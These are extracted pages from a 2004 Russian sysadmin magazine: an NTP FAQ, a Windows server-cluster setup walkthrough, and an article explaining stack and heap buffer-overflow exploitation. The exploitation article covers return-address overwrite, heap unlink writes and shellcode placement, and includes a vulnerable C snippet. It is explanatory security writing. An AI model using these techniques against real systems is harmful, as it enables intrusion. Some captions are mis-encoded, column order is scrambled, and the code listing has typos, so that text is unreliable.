Может ли SNTP-клиент синхронизироваться с NTP-сервером? ! Да, может, так как протокол SNTP является подмножеством NTP и полностью с ним совместим. Можно ли использовать NTP-сервер от третьих производителей в ОС Windows 2000/XP/2003? ! Да, можно воспользоваться любым сервером, платным или бесплатным. Предварительно следует отключить соответствующие компоненты (клиентские или серверные) службы Windows Time. Почему NTP-клиент не работает на компьютере с установленным MS SQL Server? ! Скорее всего проблема заключается в том, что SQL Server каким-либо образом занимает порт UDP 123. В качестве решения можно предложить запуск клиента NTP до MS SQL Server. Демона ntpd после запуска работает 10-20 минут, после чего останавливается. В чем может быть проблема?
Серверы времени Первичные серверы: ! ntp0.cs.mu.OZ.AU ! clock.uregina.ca ! ntp.metas.ch ! rustime01.rus.uni-stuttgart.de ! chronos.cru.fr ! ntp2.usno.navy.mil Вторичные серверы:
! tock.nap.com.ar
№4(17), апрель 2004
Можно ли синхронизировать время в OS Windows NT4, 95, 98, Me? ! Можно, при помощи программ третьих фирм, например, NetTime, Automacahron, World Time5, ntpd Windows NT port. При попытке входа в домен Windows появляется сообщение, что время между контроллером домена и рабочей станцией отличается слишком сильно, при том, что синхронизация точно настроена. ! Скорее всего проблема в том, что время сбилось очень сильно (сброс CMOS, хакерская диверсия) и службе не удается пройти аутентификацию по протоколу Kerberos. Для решения этой проблемы нужно либо вручную подвести время, либо не использовать этот вид аутентификацию при обновлении времени.
! ntp.saard.net ! ntp1.belbone.be ! ntp.cais.rnp.br ! ntp.hiway.com.br ! time2.one4vision.de ! ntp.psn.ru ! sign.chg.ru ! ntp.rinet.ru ! ntp.demos.ru Новейший список серверов можно узнать по адресу: http://www.eecis.udel.edu/~mills/ntp.
21
администрирование
СОЗДАНИЕ КЛАСТЕРА НА БАЗЕ WINDOWS 2000/2003. ШАГ ЗА ШАГОМ
ГЕННАДИЙ ДМИТРИЕВ 22
администрирование Кластер – это группа из двух или более серверов, действующих совместно для обеспечения безотказной работы набора приложений или служб и воспринимаемых клиентом как единый элемент. Узлы кластера объединяются между собой с помощью аппаратных сетевых средств, совместно используемых разделяемых ресурсов и серверного программного обеспечения. Microsoft Windows 2000/2003 поддерживает две технологии кластеризации: кластеры с балансировкой нагрузки (Network Load Balancing) и кластеры серверов. В первом случае (кластеры с балансировкой нагрузки) служба Network Load Balancing придает службам и приложениям свойства высокого уровня надежности и масштабируемости за счет объединения до 32 серверов в единый кластер. Запросы от клиентов в данном случае распределяются среди узлов кластера прозрачным образом. При отказе узла кластер автоматически изменяет свою конфигурацию и переключает клиента на любой из доступных узлов. Этот режим конфигурации кластера также называется active-active режимом, когда одно приложение работает на нескольких узлах. Кластер серверов распределяет свою нагрузку среди серверов кластера, причем каждый сервер несет свою собственную нагрузку. Если происходит отказ узла в кластере, то приложения и службы, настроенные на работу в кластере, прозрачным образом перезапускаются на любом из свободных узлов. Кластеры серверов используют разделяемые диски для обмена данными внутри кластера и для обеспечения прозрачного доступа к приложениям и службам кластера. Для них требуется специальное оборудование, но данная технология обеспечивает очень высокий уровень надежности, поскольку сам кластер не имеет какой-либо единственной точки отказа. Этот режим конфигурации кластера также называется active-passive режимом. Приложение в кластере работает на одном узле с общими данными, расположенными на внешнем хранилище. Кластерный подход к организации внутренней сети дает следующие преимущества: ! Высокий уровень готовности. То есть, если происходит сбой службы или приложения на каком-то узле кластера, настроенного на совместную работу в кластере, кластерное программное обеспечение позволяет перезапустить это приложение на другом узле. Пользователи при этом ощутят кратковременную задержку при проведении какой-то операции либо вообще не заметят серверного сбоя. ! Масштабируемость. Для приложений, работающих в кластере, добавление серверов к кластеру означает увеличение возможностей: отказоустойчивости, распределение нагрузки и т. д. ! Управляемость. Администраторы, используя единый интерфейс, могут управлять приложениями и службами, устанавливать реакцию на сбой в узле кластера, распределять нагрузку среди узлов кластера и снимать нагрузку с узлов для проведения профилактических работ. В этой статье я попытаюсь собрать свой опыт по созданию кластерных систем на базе Windows и дать не-
№4(17), апрель 2004
большое пошаговое руководство по созданию двухузлового кластера серверов с разделяемым хранилищем данных.
Системные рекомендации Требования к программному обеспечению: ! Microsoft Windows 2000 Advanced (Datacenter) Server или Microsoft Windows 2003 Server Enterprise Edition, установленные на всех серверах кластера. ! Установленная служба DNS. Немного поясню. Если вы строите кластер на основе двух контроллеров домена, то намного удобнее использовать службу DNS, которую вы в любом случае устанавливаете при создании Active Directory. Если вы создаете кластер на основе двух серверов, членов Windows NT домена, то вам придется использовать либо службу WINS, либо заносить соответствие имен и адресов машин в файл hosts. ! Terminal Services для удаленного управления серверами. Не обязательно, но при наличии Terminal Services удобно управлять серверами со своего рабочего места. Требования к аппаратному обеспечению:
! Аппаратное обеспечение для узла кластера лучше под-
!
!
бирать, основываясь на Cluster Service Hardware Compatible List (HCL). По рекомендациям Microsoft аппаратное обеспечение должно быть протестировано на совместимость с Cluster Services. Соответственно вам понадобятся два сервера, имеющих по два сетевых адаптера; SCSI-адаптер, имеющий внешний интерфейс для подключения внешнего массива данных. Внешний массив, имеющий два внешних интерфейса. Каждый из узлов кластера подключается к одному из интерфейсов.
Замечание: для создания двухузлового кластера совсем не обязательно иметь два абсолютно одинаковых сервера. После сбоя на первом сервере у вас будет немного времени, чтобы проанализировать и восстановить работу основного узла. Второй же узел будет работать на безотказность системы в целом. Однако это не означает, что второй сервер будет простаивать. Оба узла кластера могут спокойно заниматься своими делами, решать разные задачи. А вот некий критический ресурс мы и можем настроить на работу в кластере, увеличив его (этого ресурса) отказоустойчивость. Требования к сетевым настройкам: ! Уникальное NetBIOS имя для кластера. ! Пять уникальных статических IP-адресов. Два для сетевых адаптеров на кластерную сеть, два для сетевых адаптеров на общую сеть и один для кластера. ! Доменная учетная запись для кластерного сервиса (Cluster service). ! Все узлы кластера должны быть либо member server в домене, либо контроллерами домена. ! Каждый сервер должен иметь два сетевых адаптера. Один для подключения в общую сеть (Public Network), второй для обмена данными между узлами кластера (Private Network).
23
администрирование Замечание: по рекомендациям Microsoft ваш сервер должен иметь два сетевых адаптера, один для общей сети, второй для обмена данными внутри кластера. Можно ли строить кластер на одном интерфейсе – наверное, да, но я не пробовал.
! Установка и настройка узлов в кластере. ! Установка и настройка разделяемого ресурса. ! Проверка дисковой конфигурации. ! Конфигурирование первого узла кластера. ! Конфигурирование второго узла в кластере.
Установка кластера
Это пошаговое руководство позволит вам избежать ошибок во время установки и сэкономить массу времени. Итак, начнем.
При проектировании кластера вы должны понимать, что, используя одну физическую сеть как для кластерного обмена, так и для локальной сети, вы увеличиваете процент отказа всей системы. Поэтому крайне желательно для кластерного обмена данными использовать одну подсеть, выделенную в отдельный физический элемент сети. А для локальной сети стоит использовать другую подсеть. Тем самым вы увеличиваете надежность всей системы в целом. В случае построения двухузлового кластера один коммутатор используется общей сетью. Два сервера кластера можно связать между собой кросс-кабелем напрямую, как показано на рисунке. Установка двухузлового кластера может быть разделена на 5 шагов.
Установка и настройка узлов Мы немного упростим задачу. Поскольку все узлы кластера должны быть либо участниками домена, либо контроллерами домена, то корневым держателем каталога AD (Active Directory) сделаем 1-й узел кластера, на нем же будет работать DNS-служба. 2-й узел кластера будет полноправным контроллером домена. Установку операционной системы я готов пропустить, полагая, что в этом у вас не должно быть каких-то проблем. А вот конфигурацию сетевых устройств хочется пояснить.
External RAID
SCSI Connection
Cluster node 1
SCSI Connection
Private Cluster connection
Private Cluster connection
IP: 192.168.30.1 MASK: 255.255.255.252 DNS: 192.168.100.1
IP: 192.168.30.2 MASK: 255.255.255.252 DNS: 192.168.100.1
Cluster network 192.168.30.0/30
Public Cluster connection IP: 192.168.100.1 MASK: 255.255.255.0 DNS: 192.168.100.1
Public network 192.168.100.0/24
Public Cluster connection IP: 192.168.100.2 MASK: 255.255.255.0 DNS: 192.168.100.1
Client node 1
Ñõåìà äâóõóçëîâîãî êëàñòåðà íà áàçå Windows 2000/2003 ñ âíåøíèì ìàññèâîì äàííûõ
24
Client node N
Cluster node 2
администрирование
Сетевые настройки Перед началом установки кластера и Active Directory необходимо выполнить сетевые настройки. Все сетевые настройки хочется разделить на 4 этапа. Для распознавания имен в сети желательно иметь DNS-сервер с уже существующими записями о серверах кластера. Каждый сервер имеет по две сетевые карты. Одна сетевая карта будет служить для обмена данными между узлами кластера, вторая будет работать на клиентов в нашей сети. Соответственно первый назовем Private Cluster Connection, второй назовем Public Cluster Connection.
Настройки сетевых адаптеров для одного и для другого сервера идентичны. Соответственно я покажу, как настроить сетевой адаптер и дам табличку с сетевыми настройками всех 4 сетевых адаптеров на обоих узлах кластера. Для настройки сетевого адаптера необходимо выполнить следующие шаги: ! My Network Places → Properties. ! Private Cluster Connection → Properties → Configure → Advanced. Этот пункт требует пояснений. Дело в том, что по настоятельным рекомендациям Microsoft на всех сетевых адаптерах узлов кластера должна быть установлена оптимальная скорость работы адаптера, как показано на следующем рисунке.
! Internet Protocol (TCP/IP) → Properties → Use the following
!
IP: 192.168.30.1. (Для второго узла используйте адрес 192.168.30.2). Введите маску подсети 255.255.255.252. В качестве адреса DNS-сервера для обоих узлов используйте адрес 192.168.100.1. Дополнительно на вкладке Advanced → WINS выберите пункт Disabled NetBIOS over TCP/IP. Для настроек сетевых адаптеров общей (Public) сети этот пункт опустите.
! Проделайте то же самое с сетевой картой для локальной сети Public Cluster Connection. Используйте адреса, приведенные в табличке. Единственная разница в конфигурации двух сетевых плат состоит в том, что для Public Cluster Connection не требуется выключения режима WINS – NetBIOS over TCP/IP. Для конфигурирования всех сетевых адаптеров на узлах кластера используйте следующую табличку:
Установка Active Directory Поскольку моя статья не преследует цель рассказать об установке Active Directory, то этот пункт я опущу. Всевозможных рекомендаций, книг об этом написано достаточно много. Выберете доменное имя, вроде mycompany.ru, установите Active Directory на первом узле, добавьте второй узел в домен в качестве контроллера домена. Когда все сделаете, проверьте конфигурации серверов, Active Directory.
Установка Cluster User Account По рекомендациям Microsoft для Cluster Service следует создать отдельную учетную запись, от имени которой он будет работать. Эта учетная запись должна быть создана до установки Cluster Service:
№4(17), апрель 2004
25
администрирование ! Start → Programs → Administrative Tools → Active Directory
! Закрываем Disk Management и проверяем доступ к
Users and Computers. Добавьте нового пользователя, например, ClusterService. Установите флажки на: User Cannot Change Password и Password Never Expires. Также добавьте этого пользователя в группу администраторов и дайте ему права «Log on as a service» (права назначаются в «Local Security Policy» и «Domain Controller Security Policy»).
вновь созданному разделу. Например, можно создать на нем текстовый файл test.txt, записать и удалить. Если все прошло нормально, то с конфигурацией внешнего массива на первом узле мы закончили. Теперь выключаем первый сервер. Внешний массив должен быть включен. Включаем второй сервер и проверяем доступ к созданному разделу. Также проверим, чтобы буква, назначенная первому разделу, была идентична выбранной нами, то есть Q.
! ! !
!
На этом конфигурация внешнего массива завершена.
Установка Cluster Service Software Конфигурация первого узла кластера
Настройка внешнего массива данных Для настройки внешнего массива данных в кластере необходимо помнить, что перед установкой Cluster Service на узлах вы должны сначала сконфигурировать диски на внешнем массиве, только потом устанавливать службу кластера сначала на первом узле, только потом на втором. В случае нарушения порядка установки у вас произойдет сбой, и вы не достигнете цели. Можно ли будет исправить – наверное, да. Когда появится ошибка, у вас будет время, чтобы поправить настройки. Но Microsoft столь загадочная штука, что совсем не знаешь, на какие грабли наступишь. Проще иметь перед глазами пошаговую инструкцию и не забывать нажимать на кнопки. По шагам конфигурирование внешнего массива выглядит так: ! Оба сервера должны быть выключены, внешний массив включен, подсоединен к обоим серверам. ! Включаем первый сервер. Получаем доступ к дисковому массиву. ! Проверяем, чтобы внешний дисковый массив был создан как Basic. Если это не так, то переведем диск с помощью опции Revert to Basic Disk. ! Создаем на внешнем диске через Computer Management → Disk Management небольшой раздел. По рекомендациям Microsoft он должен быть не менее 50 Мб. Я рекомендую создать раздел в 500 Мб или чуть больше. Для размещения кластерных данных этого вполне достаточно. Раздел должен быть отформатирован в NTFS. ! На обоих узлах кластера этот раздел будет назван одной буквой, например, Q. Соответственно при создании раздела на первом сервере выберем пункт Assign the following drive letter – Q. ! Оставшуюся часть диска вы можете разметить по своему желанию. Конечно, крайне желательно использовать файловую систему NTFS. Например, при настройке служб DNS, WINS основные базы служб будут перенесены на общий диск (не системный том Q, а второй, созданный вами). И по соображению безопасности вам будет удобнее использовать именно NTFS-тома.
26
Перед началом установки Cluster Service Software все узлы кластера должны быть выключены, все внешние массивы должны быть включены. Перейдем к конфигурации первого узла. Внешний массив включен, первый сервер включен. Весь процесс установки происходит с использованием Cluster Service Configuration Wizard: ! Start → Setting → Control Panel → Add/Remove Programs. ! Выбираем Add/Remove Windows Components. ! Выберем Cluster Service и нажмем Next. Во время установки система попросит указать расположение файлов с дистрибутива, соответственно либо воспользуемся CD-ROM-диском, либо укажем расположение файлов на локальном диске. ! На экране появится диалоговое окно с текстом примерно следующего содержания: вы должны понимать, что используете железо, рекомендованное и тестированное Microsoft в кластерных системах. Соответственно все компоненты системы должны быть перечислены в HCL (Hardware Compatibility List). Нажимаем I Understand и следуем дальше.
! В следующем диалоговом окне выбираем The first node in the cluster, как показано на следующем рисунке.
! В следующем окне введите имя кластера, например, MyCluster, и нажмите далее.
! Введите имя пользователя и пароль, от имени которого будет работать Cluster Service. Если помните, несколько шагов назад мы создавали такого пользователя и назвали его ClusterService. Введите domain name (mycompany.ru) и нажмите «NEXT».
администрирование
! Для внешнего сетевого адаптера (локальная сеть) устанавливаем следующие параметры: Enable this network for cluster use и All communications (mixed network), как показано на рисунке:
! На следующем этапе вас попросят сконфигурировать кластерные диски. Соответственно диск Q, который мы создавали, будет использоваться для обмена данными между узлами кластера. Как показано на рисунке, выберите диск Q и нажмите «NEXT».
! В этом примере мы сконфигурировали два сетевых адаптера на одном узле кластера. Один из них Public Cluster Connection используется для обмена данными в локальной сети. Второй – Private Cluster Connection используется для обмена данными внутри кластера. После конфигурации сетевых адаптеров нажмем далее и перейдем к конфигурации IP-адреса кластера. Введем уникальный IP-адрес (192.168.100.5) и маску подсети (255.255.255.0), как показано на следующем рисунке.
! Следующий шаг – это конфигурирование сетевых адаптеров для использования в кластере. Для внутреннего сетевого адаптера, используемого для кластерного обмена данными между узлами внутри кластера, выбираем пункты, как показано на следующем рисунке (Enable this network for cluster use и Internal cluster communications only):
№4(17), апрель 2004
27
администрирование ! После завершения установки Cluster Service Software периментировали с серверами WINS и DHCP, длительна первом узле, система автоматически присвоит выбранный IP-адрес нашему кластеру, сконфигурирует сетевые адаптеры и сетевые диски. После завершения установки можно использовать Cluster Administrator для управления ресурсами кластера.
Конфигурация второго узла кластера Для установки и конфигурирования второго узла кластера необходимо, чтобы первый узел был включен, все сетевые диски были включены. Процедура настройки второго узла очень напоминает ту, что я описал выше. Однако есть небольшие изменения. Для этого используйте следующую инструкцию: ! В диалоговом окне Create or Join a Cluster выберите The second or next node in the cluster и нажмите далее. ! Введите имя кластера, которое мы задали ранее (в примере это MyCluster), и нажмите далее. ! После подключения второго узла к кластеру Cluster Service Configuration Wizard автоматически заберет все установки с основного узла. Для запуска службы Cluster Service используйте имя, которые мы создавали ранее. ! Введите пароль вашей учетной записи и нажмите далее. ! В следующем диалоговом окне нажмите Finish для завершения установки. ! Cluster service будет запушен на втором узле. ! Закройте окно Add/Remove Programs. Для установки дополнительных узлов кластера используйте эту же инструкцию.
Постскриптум, благодарности и прочее Чтобы вам не запутаться со всеми этапами установки кластера, приведу небольшую табличку, в которой отражены все основные этапы. Время реакции кластера на непредвиденные ситуации зависит от множества параметров. Это тип ресурса, свойства ресурса, свойства группы ресурсов и времени, необходимого ресурсу на загрузку. Например, загрузка базы данных сервера DHCP происходит достаточно быстро. Однако перевод Exchange-сервера может занять до нескольких секунд. Это время, необходимое Exchange-серверу произвести быструю проверку целостности базы и загрузить все необходимые компоненты. В частности, мы экс-
28
ность реакции на отказ сервиса не превышала 1.5 секунд. А время реакции Exchange-сервера составляла около 10 секунд, это выражалось в небольшом тайм-ауте в работе клиента. По завершении всех этих операций вы получите полностью работающий двухузловой кластер. В качестве ресурсов кластера можно использовать внутренние службы WINS, DNS, DHCP, можно настроить IIS-сервер на работу внутри кластера. Можно использовать внешние приложения, главное, чтобы они поддерживали кластерные технологии Microsoft. Можно бесконечно долго спорить о том, нужна ли данная технология. На мой взгляд, каждое решение должно быть обосновано и грамотно реализовано. Я лишь попытался поделиться своим опытом создания такой системы. Хочется выразить глубокую благодарность за неоценимую интеллектуальную помощь Андрееву Павлу, системному администратору Novavox.
безопасность
ОШИБКИ ПЕРЕПОЛНЕНИЯ БУФЕРА ИЗВНЕ И ИЗНУТРИ КАК ОБОБЩЕННЫЙ ОПЫТ РЕАЛЬНЫХ АТАК ЧАСТЬ 2
Рассматривая различные механизмы переполнения и обсуждая их возможные последствия, ранее мы не касались таких «организационных» вопросов, как, например, порядок размещения переполняющихся буферов, затираемых переменных и служебных структур данных в оперативной памяти. Теперь пришло время восполнить этот пробел.
КРИС КАСПЕРСКИ 30
безопасность В стеке… Переполнения автоматических буферов наиболее часты и наиболее коварны. Часты – потому что размер таких буферов жестко (hardcoded) определяется еще на этапе компиляции, а процедура проверки корректности обрабатываемых данных зачастую отсутствует или реализована с грубыми ошибками. Коварны – потому что в непосредственной близости от автоматических буферов присутствует адрес возврата из функции, модификация которого позволяет злоумышленнику осуществить передачу управления на произвольный код. Еще в стеке содержится указатель на фрейм (он же кадр) материнской функции, сохраняемый компилятором перед открытием фрейма дочерней функции. Вообще-то оптимизирующие компиляторы, поддерживающие технологию «плавающих» фреймов, обходятся и без этого, используя регистр-указатель вершины кадра как обычный регистр общего назначения, однако даже поверхностный анализ обнаруживает большое количество уязвимых приложений с кадром внутри, так что этот прием атаки все еще остается актуальным. Модификация кадра стека срывает адресацию локальных переменных и аргументов материнской функции и дает возможность управлять ими по своему усмотрению. Установив кадр материнской функции на «свой» буфер, злоумышленник может положить в материнские переменные (аргументы) любые значения (в том числе и заведомо некорректные, поскольку проверка допустимости аргументов обычно выполняется до вызова дочерних функций, а корректность автоматических переменных после их инициализации проверяют только параноики). Внимание! Поскольку после возврата из дочерней функции все принадлежащие ей локальные переменные автоматически освобождаются, использовать дочерний буфер для хранения материнских переменных нельзя (точнее, не рекомендуется, но если действовать осторожно, то можно). Обратитесь к куче, статической памяти или автоматической памяти параллельного потока, воздействуя на нее косвенным образом. Выше кадра стека располагаются сохраненные значения регистров, восстанавливаемые при выходе из функции. Если материнская функция хранит в одном или нескольких таких регистрах критические переменные (например, указатели, в которые что-то записывается), мы можем свободно воздействовать на них по своему усмотрению. Дальше начинается область, «оккупированная» локальными переменными (и переполняющимся буфером в том числе). В зависимости от прихоти компилятора последний может быть расположен как наверху кадра стека, так и в гуще локальных переменных – это уже как повезет (или не повезет – с точки зрения жертвы). Переменные, находящиеся «ниже» переполняющегося буфера, могут быть затерты при последовательном переполнении – самом распространенном типе переполнения. Переменные, находящиеся «выше» переполняющегося буфера, затираются лишь индексным переполнением, которое чрезвычайно мало распространено. Наконец, выше кадра стека находятся только небо и звезды, пардон – свободное стековое пространство. Затирать тут особенно нечего, и эта область памяти исполь-
№4(17), апрель 2004
зуется в основном для служебных нужд shell-кода. При этом следует учитывать, что: а) объем стека не безграничен и упирается в определенный лимит, так что выделять гигабайты памяти всетаки не стоит; б) если один из спящих объектов процесса-жертвы неожиданно проснется, содержимое свободной стековой памяти окажется искаженным, и чтобы этого не случилось, shell-код должен подтянуть регистр ESP к верхнему уровню, резервируя необходимое количество байт памяти; в) поскольку стековая память, принадлежащая потоку, выделяется динамически по мере его распухания, любая попытка выхода за пределы сторожевой страницы (page guard) завершается исключением, поэтому либо не запрашивайте более 4 Кб, либо прочитайте хотя бы по одной ячейке из каждой резервируемой страницы, двигаясь снизу вверх. Подробнее об этом можно прочитать у Рихтера. В зависимости от ограничений, наложенных на предельно допустимую длину переполняющегося буфера, могут затираться те или иные локальные переменные или служебные структуры данных. Очень может статься, что до адреса возврата просто не удастся «дотянуться», а даже если и удастся – не факт, что функция не грохнется задолго до своего завершения. Допустим, за концом строкового переполняющегося буфера располагается указатель, из которого после переполнения что-то читается (записывается). Поскольку переполнение буфера неизбежно затирает указатель, любая попытка чтения оттуда вызывает немедленное исключение и – как следствие – аварийное завершение программы. Причем затереть адрес возврата, подсунув указателю корректный адрес, скорее всего не удастся, т.к. в операционных системах семейства Windows все гарантированно доступные адреса лежат значительно ниже 01010101h – наименьшего адреса, который только можно внедрить в середину строкового буфера (подробнее см. «Запрещенные символы»). Так что буфера, расположенные внизу кадра стека, для переполнения все же предпочтительнее. За концом адреса возврата начинается область памяти, принадлежащая материнским функциям и содержащая аргументы дочерней функции, автоматические переменные материнской функции, сохраненные регистры/кадр стека проматеринской функции/адрес возврата в праматеринскую функции и т. д. Теоретически переполняющийся буфер может все это затереть (ну бывают же такие буйные буфера), практически же – это либо не нужно, либо неосуществимо. Если мы можем навязать программе корректный адрес возврата (т.е. адрес возврата, указывающий на shellкод или любую точку «родного» кода программы), то в материнскую функцию она уже не вернется, и все махинации с материнскими переменными останутся незамеченными. Если же навязать корректный адрес возврата по тем или иным причинам невозможно, то материнская функция тем более не сможет получить управления. Намного большую информацию несет чтение материнской области памяти (см. «Указатели и индексы» в предыдущей статье данного цикла) – здесь действительно
31
безопасность можно встретить много чего интересного. Конфиденциальные данные (типа паролей и номеров кредитных карт), дескрипторы секретных файлов, которые невозможно открыть обычным образом, сокеты установленных TCP-соединений (почему бы их не использовать для обхода брандмауэров?) и т. д. Модификация аргументов дочерней функции менее перспективна, хотя временами и бывает полезной. Среди аргументов Си/Си++ программ традиционно много указателей. Обычно это указатели на данные, но встречаются и указатели на код. Последние наиболее перспективны, поскольку позволяют захватывать управление программой до ее обрушения. Указатели на данные, конечно, тоже хороши (особенно те из них, что позволяют записывать по навязанным адресам навязанные данные, т.е. работают как Бейсик-функция POKE), однако, чтобы дотянуться до своих аргументов при последовательном переполнении уязвимого буфера, необходимо пересечь ячейки памяти, занятые адресом возврата…
В куче… Буфера, расположенные в динамической памяти, также подвержены переполнению. Многие программисты, ленивые от природы, сначала выделяют буфер фиксированного размера, а затем определяют, сколько памяти им необходимо, причем ситуацию недостатка памяти обработать традиционно забывают. В куче чаще всего встречаются переполняющиеся буфера двух типов: элементы структур и динамически выделяемые блоки памяти. Допустим, в программе имеется структура demo, содержащая в том числе и буфер фиксированного размера: Ëèñòèíã 1. Ïðèìåð ñòðóêòóðû ñ ïåðåïîëíÿþùèìñÿ áóôåðîì âíóòðè (îí âûäåëåí êðàñíûì öâåòîì) strict demo { int a; char buf[8]; int b; }
Неосторожное обращение с обрабатываемыми данными (например, отсутствие нужных проверок в нужном месте) может привести к возможности переполнения буфера buf и как следствие – затиранию расположенных за ним переменных. В первую очередь это переменные-члены самой структуры (в данном случае – переменная b), стратегия модификации которых вполне типична и подчиняется тем же правилам – общим для всех переполняющихся буферов. Менее очевидна возможность затирания ячеек памяти, лежащих за пределами выделенного блока памяти. Кстати, для буферов, монопольно владеющих всем выделенным блоком памяти, это единственно возможная стратегия переполнения вообще. Взгляните на следующий код. Как вы думаете, что здесь можно переполнить? Ëèñòèíã 2. Ïðèìåð äèíàìè÷åñêîãî áëîêà ïàìÿòè, ïîäâåðæåííîãî ïåðåïîëíåíèþ
Ðèñóíîê 1. Êàðòà ðàñïðåäåëåíèÿ ñòåêîâîé ïàìÿòè
В затирании адреса возврата есть одна интересная тонкость: адрес возврата – это абсолютный адрес, и если мы хотим передать управление непосредственно на сам переполняющийся буфер, нам либо приходится надеяться на то, что в уязвимой программе переполняющийся буфер окажется по такому-то адресу (а это не факт), либо искать механизм передачи управления на вершину стека. Червь Love San решает проблему путем подмены адреса возврата на адрес машинной инструкции JMP ESP, расположенной во владениях операционной системы. Недостатки такой методики очевидны: во-первых, она не срабатывает в тех случаях, когда переполняющийся буфер расположен ниже вершины стека, а, во-вторых, местоположение инструкции JMP ESP тесно связано с версией операционной системы, и получается, как в той поговорке, «за что боролись, на то и напоролись». К сожалению, более прогрессивных методик передачи управления пока не придумано…
32
#define MAX_BUF_SIZE 8 #define MAX_STR_SIZE 256 char *p; … p = malloc(MAX_BUF_SIZE); … strncpy(p, MAX_STR_SIZE, str);
Долгое время считалось, что переполнять здесь особенно и нечего. Максимум – можно устроить банальный DoS, но целенаправленно захватить управление жертвой невозможно в силу хаотичности распределения динамических блоков по памяти. Базовый адрес блока p, вообще говоря, случаен, и за его концом может быть расположено все что угодно, в том числе и невыделенный регион памяти, всякое обращение к которому приводит к немедленному исключению, аварийно завершающему программу. На самом деле, все это не более чем расхожие заблуждения. Сегодня переполнением динамических буферов никого не удивишь. Эта технология широко и небезуспешно используется в качестве универсального (!) средства захвата управления. Нашумевший червь Slapper – один из немногих червей, поражающий UNIX-машины – распространяется именно так. Как же такое возможно? Попробуем разобраться…
безопасность Выделение и освобождение динамической памяти действительно происходит довольно сумбурно – беспорядочно, и за концом нашего блока в произвольный момент времени может быть расположен любой другой блок. Даже при последовательном выделении нескольких блоков памяти никто не может гарантировать, что при каждом запуске программы они будут выделяться в одном и том же порядке, поскольку это зависит от размера и порядка освобождения предыдущих выделяемых буферов. Тем не менее, устройство служебных структур данных, пронизывающих динамическую память своеобразным несущим каркасом, легко предсказуемо, хотя и меняется от одной версии библиотеки компилятора к другой. Существует множество реализаций динамической памяти, и различные производители используют различные алгоритмы. Выделяемые блоки памяти могут быть нанизаны и на дерево, и на одно/двух-связанный список, ссылки на который могут быть представлены как указателями, так и индексами, хранимыми либо в начале/конце каждого выделяемого блока, либо в отдельной структуре данных. Причем последний способ реализации по ряду причин встречается крайне редко. Рассмотрим следующую организацию динамической памяти, при которой все выделяемые блоки соединены посредством двухсвязных списков, указатели на которых расположены в начале каждого блока (см. рис. 2), причем смежные блоки памяти не обязательно должны находиться в соседних элементах списка, т.к. в процессе многократных операций выделения/освобождения список неизбежно фрагментируется, а постоянно дефрагментировать его себе дороже.
Ðèñóíîê 2. Êàðòà ïðèáëèçèòåëüíîãî ðàñïðåäåëåíèÿ äèíàìè÷åñêîé ïàìÿòè
Переполнение буфера приводит к затиранию служебных структур следующего блока памяти и как следствие – возможности их модификации. Но что это нам дает? Ведь доступ к ячейкам всякого блока осуществляется по ука-
№4(17), апрель 2004
зателю, возращенному программе в момент его выделения, а отнюдь не по «служебному» указателю, который мы собираемся затирать! Служебные указатели используются исключительно функциями malloc/free (и другими подобными им функциями). Искажение указателя на следующий/предыдущий блок позволяет навязать адрес следующего выделяемого блока, например, «наложив» его на доступный нам буфер, но никаких гарантий, что это получится, у нас нет – при выделении блока памяти функция malloc ищет наиболее подходящий с ее точки зрения регион свободной памяти (обычно это первый свободный блок в цепочке, совпадающий по размеру с запрошенным), и не факт, что наш регион ей подойдет. Короче говоря, не воодушевляющая перспектива получается. Освобождение блоков памяти – другое дело! Для уменьшения фрагментации динамической памяти функция free автоматически объединяет текущий освобождаемый блок со следующим, если тот тоже свободен. Поскольку смежные блоки могут находиться на различных концах связывающего их списка, перед присоединением чужого блока памяти функция free должна «выбросить» его из цепочки. Это осуществляется путем склейки предшествующего и последующего указателей, что в псевдокоде выглядит приблизительно так: *указатель на следующий блок в цепочке = указатель на предыдущий блок в цепочке. Постойте, но ведь это… Да! Это аналог бейсикфункции POKE, позволяющий нам модифицировать любую ячейку уязвимой программы! Подробнее об этом можно прочитать в статье «Once upon a free()…», опубликованной в 39h-номере электронного журнала PHRACK, доступного по адресу www.phrack.org. Статья перегружена техническими подробностями реализации динамической памяти в различных библиотеках и написана довольно тяжелым языком, но ознакомиться с ней, безусловно, стоит. Как правило, возможность записи в память используется для модификации таблицы импорта с целью подмены некоторой API-функции, гарантированно вызываемой уязвимой программой, вскоре после переполнения («вскоре», потому что часы ее уже сочтены – целостность ссылочного каркаса динамической памяти нарушена, и это неустойчивое сооружение в любой момент может рухнуть, пустив программу в разнос). К сожалению, передать управление на переполняющийся буфер скорее всего не удастся, т.к. его адрес наперед неизвестен, и тут приходится импровизировать. Во-первых, злоумышленник может разместить shell-код в любом другом доступном ему буфере с известным адресом (см. «В секции данных…»). Во-вторых, среди функций уязвимой программы могут встретиться и такие, что передают управление на указатель, переданный им с тем или иным аргументом (такую функцию условимся называть функцией f). После чего останется найти API-функцию, принимающую указатель на переполняющийся буфер и подменить ее адрес адресом функции f. В Си++ программах с их виртуальными функциями и указателями this такая ситуация случается не так уж и редко, хотя и распространенной ее тоже не назовешь. Но при проектировании shell-кода на универсальные решения закладываться,
33
безопасность вообще говоря, и не приходится. Проявите инженерную смекалку, удивите мир! Будьте заранее готовы к тому, что в некоторых реализациях кучи вы встретитесь не с указателями, а с индексами, которые в общем случае представляют собой относительные адреса, отсчитываемые либо от первого байта кучи, либо от текущей ячейки памяти. Последний случай встречается наиболее часто (в частности, штатная библиотека компилятора MS VC 6.0 построена именно так), поэтому имеет смысл рассмотреть его поподробнее. Как уже говорилось выше, абсолютные адреса переполняющего буфера заранее неизвестны и непредсказуемым образом изменяются под воздействием ряда обстоятельств. Адреса же ячеек, наиболее соблазнительных для модификации, напротив, абсолютны. Что делать? Можно, конечно, исследовать стратегию выделения/освобождения памяти для данного приложения на предмет выявления наиболее вероятных комбинаций – кое-какие закономерности в назначении адресов переполняющимся буферам, безусловно, есть. Методично перебирая все возможные варианты один за другим, атакующий рано или поздно захватит управление сервером (правда, перед этим несколько раз его завесит, демаскируя атаку и усиливая бдительность администраторов).
